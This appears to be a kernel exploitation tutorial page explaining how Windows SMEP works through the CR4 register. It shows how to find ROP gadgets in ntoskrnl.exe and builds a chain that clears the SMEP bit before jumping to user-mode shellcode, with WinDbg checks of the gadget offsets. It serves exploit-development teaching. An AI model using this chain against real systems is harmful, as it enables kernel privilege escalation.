---
description: >-
  In the last section we discovered that SMEP prevented us from calling user
  mode code from the kernel. To defeat this we need to disable it using ROP.
---

# ROP to the Rescue

Data Execution Prevention (DEP) was introduced in the Windows operating system starting from Windows XP Service Pack 2 (SP2). DEP is a security feature that helps protect against certain types of malicious code execution by marking memory regions as non-executable unless explicitly allowed. This is enabled in kernel space, so in order to defeat SMEP we first need to defeat DEP, and we will soon find out kASLR too!

## SMEP Implementation

Supervisor Mode Execution Protection (SMEP) is a security feature that leverages the 20th bit of the Control Register 4 (CR4) in x86 processors. When the SMEP bit is enabled by setting it in `cr4`, it prevents the processor from executing user mode code in kernel mode.

<div data-full-width="true"><figure><img src="https://1133556953-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6fSnuRpvF32xyL2X75m5%2Fuploads%2FXYfH9veHkOEKWhcqWpXR%2Fsmep-implementation.png?alt=media&#x26;token=f50ccf62-30b3-418c-a89b-b8efa8998beb" alt="" width="563"><figcaption><p>SMEP implementation</p></figcaption></figure></div>

At any point during kernel debugging we can view the `cr4` register:

```
0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`001506f8
  Decimal: 1378040
  Decimal (unsigned) : 1378040
  Octal:   0000000000000005203370
  Binary:  00000000 00000000 00000000 00000000 00000000 00010101 00000110 11111000
  Chars:   ........
  Time:    Fri Jan 16 22:47:20 1970
  Float:   low 1.93105e-039 high 0
  Double:  6.80842e-318
```

From the output we can see that 20th bit (using a zero index) from the right is set to `1`. If we take the rightmost (least-significant) three bytes we can do some very simple binary maths:

<pre><code><strong>  SMEP bit
</strong><strong>     |
</strong><strong>  0001 0101 0000 0110 1111 1000
</strong>0x   1    5    0    6    F    8
</code></pre>

Removing the 20th bit (the SMEP flag) can also be easily calculated:

```
  SMEP bit
     |
  0000 0101 0000 0110 1111 1000
0x   0    5    0    6    F    8
```

Effectively, we need to set the `cr4` register value to `0x506f8` to disable SMEP.

We have manually carried out the following calculation; this calculates a new `cr4` register value with the 20th bit set to `0`:

```
0x1506f8
AND
0xefffff
```

We can carry out this calculation in Windbg Preview:

```
? 0x1506f8 & 0xefffff
```

This can be useful if the value in `cr4` is different to what we have here.

## Disabling SMEP

In order to disable SMEP we need to find ROP gadgets that carry out the following, or similar:

{% code overflow="wrap" lineNumbers="true" %}
```nasm
pop rcx, 0x506f8
mov cr4, rcx
```
{% endcode %}

This doesn't seem too much of a daunting task.

**Note:** The following assembly would be more portable, but unfortunately the gadgets do not exist:

{% code lineNumbers="true" %}
```nasm
push cr4
pop rcx
and rcx, 0xefffff
mov cr4, rcx
```
{% endcode %}

## ntoskrnl.exe

`ntoskrnl.exe` is a core system file in the Windows operating system that contains the kernel code, providing essential services and functionality for the operating system.

The `ntoskrnl.exe` file is responsible for managing memory, processes, drivers, and various system components. It acts as the interface between the hardware and software layers, handling system calls, managing resources, and maintaining overall system stability and security.

We will use [rp-win](https://github.com/0vercl0k/rp) by _0vercl0k_ to find ROP gadgets in `ntoskrnl.exe` to help us defeat DEP in the kernel.

Locate **C:\Windows\System32\ntoskrnl.exe** and copy it to convenient location.

Use the following command in a new command prompt to search for gadgets in the kernel code:

```
.\rp-win.exe -f .\ntoskrnl.exe -r 5 > .\ntoskrnl.txt
```

When the command is completed we can open the `ntoskrnl.txt` file to look for appropriate ROP gadgets:

<div align="left"><figure><img src="https://1133556953-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6fSnuRpvF32xyL2X75m5%2Fuploads%2FCCbjGZlesdhMdDh9PYXR%2Fkernel-gadgets.png?alt=media&#x26;token=1dbabb4a-732e-4282-93c8-5caffb9a3a3d" alt=""><figcaption><p>ROP Gadgets</p></figcaption></figure></div>

You may notice that the addresses are prefixed with `0x140`, this is not a true address, but an offset of `0x140000000`. We can use the debugger to test this theory.

If we take a random gadget (make it an easy one to compare) we can check this against the `nt` module in the debugger:

```
0x1400c71bb: pop rbx ; ret ; (1 found)
```

If we remove the prefix from the gadget address, and check the loaded module in the debugger we find that the gadget address is an offset of the loaded module base address (without the prefix):

```
0: kd> u nt+c71bb L2
nt!EtwTraceContextSwap+0x12b:
fffff801`9995b1bb 5b              pop     rbx
fffff801`9995b1bc c3              ret
```

## ROP Gadgets

Searching through the gadget file we can locate gadgets to disable SMEP, run our shellcode then restore SMEP; the following ROP chain is constructed:

```
nt+3c66ce                ; pop rcx ; ret
0x506f8                  ; the cr4 value to disable SMEP
nt+3d6325                ; mov cr4, rcx ; ret
shellcode addr           ; when SMEP is disabled ret to our shellcode
```

We can use the connected debugger to check that our gadgets point to the correct assembly, the first gadget is shown below:

```
0: kd> u nt+3c66ce
nt!KiCalibrateTimeAdjustment+0xea:
fffff801`99c5a6ce 59              pop     rcx
fffff801`99c5a6cf c3              ret
```

The second gadget is also checked:

```
0: kd> u nt+3d6325
nt! ?? ::OKHAJAOM::`string'+0x2ea5:
fffff801`99c6a325 0f22e1          mov     cr4,rcx
fffff801`99c6a328 c3              ret
```

Now we have the gadget offsets we can start thinking about putting this in to our exploit. However, we need to defeat kASLR. That is discussed next.

## Demo

**Work in progress**

## Exercises

1. See if you can find other ROP gadgets to meet the objective.
